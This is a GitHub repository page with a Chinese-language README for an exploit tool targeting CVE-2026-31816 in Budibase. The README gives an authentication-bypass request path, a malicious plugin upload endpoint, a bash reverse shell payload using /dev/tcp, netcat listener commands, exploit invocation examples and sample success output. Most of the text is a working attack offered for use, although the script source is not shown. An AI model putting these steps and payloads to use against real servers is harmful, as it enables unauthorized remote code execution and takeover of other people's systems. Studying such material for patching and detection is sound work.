imjdl/CVE-2026-31816-rshell

GitHub: imjdl/CVE-2026-31816-rshell

针对 Budibase 平台 CVE-2026-31816 漏洞的自动化利用脚本,通过插件上传实现认证绕过并获取反弹 Shell。

Stars: 0 | Forks: 0

# CVE-2026-31816 Reverse Shell 漏洞利用 ## 概述 该工具利用 CVE-2026-31816 漏洞,在目标 Budibase 服务器上建立 reverse shell 连接。 **攻击链**:身份验证绕过 → 上传 DATASOURCE 插件 → 服务端代码执行 → Reverse Shell ## 环境要求 - Python 3.6+ - `requests` 库 (`pip install requests`) - 目标 Budibase 服务器存在 CVE-2026-31816 漏洞 ## 使用方法 ### 基本步骤 ``` # 在攻击机上启动监听器 nc -lvnp 4444 # 运行 exploit (另一个终端) python3 CVE-2026-31816-rshell.py -t http://target:10000 --lhost YOUR_IP --lport 4444 ``` ### 参数说明 | 参数 | 必填 | 描述 | |-----------|----------|-------------| | `-t, --target` | ✅ | 目标 Budibase URL | | `--lhost` | ✅ | 监听主机(你的 IP) | | `--lport` | ❌ | 监听端口(默认:4444) | ### 示例 ``` # 攻击者 IP:192.168.1.100 # 目标 Budibase:192.168.1.128:10000 # 终端 1 - 启动监听器 nc -lvnp 4444 # 终端 2 - 运行 exploit python3 CVE-2026-31816-rshell.py \ -t http://192.168.1.128:10000 \ --lhost 192.168.1.100 \ --lport 4444 ``` ## 工作原理 ### 1. 漏洞检查 ``` GET /api/integrations?/webhooks/trigger ``` 如果返回 200,则目标存在身份验证绕过漏洞。 ### 2. 创建恶意插件 ``` { "type": "datasource", "schema": { ... } } ``` DATASOURCE 类型插件会在服务器上执行 JavaScript 代码。 ### 3. Reverse Shell 载荷 ``` // Executed when plugin is validated: bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' ``` ### 4. 上传并执行 ``` POST /api/plugin/upload?/webhooks/trigger ``` 绕过身份验证上传插件。代码在验证期间执行。 ## 攻击流程 ``` ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ Attacker │ │ Target │ │ Listener │ │ │ │ Server │ │ (nc) │ │ │ │ │ │ │ │ exploit ────┼────►│ Upload │ │ │ │ │ │ Plugin │ │ │ │ │ │ Execute │────►│ Listen │ │ │ │ Code │◄────┤ Reverse │ │ │ │ │ │ Connect │ └─────────────┘ └─────────────┘ └─────────────┘ ``` ## 成功指标 ``` ============================================================ CVE-2026-31816 - Reverse Shell Exploit ============================================================ [*] Target: http://192.168.1.128:10000 [*] Reverse shell: 192.168.1.100:4444 [*] Checking vulnerability... [+] Target is vulnerable! [*] Creating reverse shell plugin targeting 192.168.1.100:4444 [*] Uploading reverse shell plugin... [*] Status: 200 [+] Plugin installed successfully! ============================================================ [+] SUCCESS! Check your listener! ============================================================ ``` ## 故障排除 ### 问:连接失败,未收到 shell **可能原因**: 1. 防火墙阻止了反向连接 2. 目标服务器无法访问攻击者 IP 3. 目标服务器缺少 bash **解决方案**: ``` # 检查网络连通性 ping YOUR_IP # 检查防火墙 sudo ufw allow 4444/tcp # 尝试不同的端口 nc -lvnp 8080 ``` ### 问:上传失败 **可能原因**: 1. 目标已修复该漏洞 2. 网络问题 **解决方案**: ``` # 手动测试漏洞是否存在 curl -s "http://target:10000/api/integrations?/webhooks/trigger" # 如果返回 JSON,则漏洞存在 ```
标签:Budibase, CISA项目, CVE-2026-31816, PoC, Python Exploit, RCE, 低代码平台安全, 反序列化漏洞, 反弹Shell, 恶意插件上传, 数据可视化, 暴力破解, 服务器端攻击, 编程工具, 网络安全, 认证绕过, 远程代码执行, 逆向工具, 隐私保护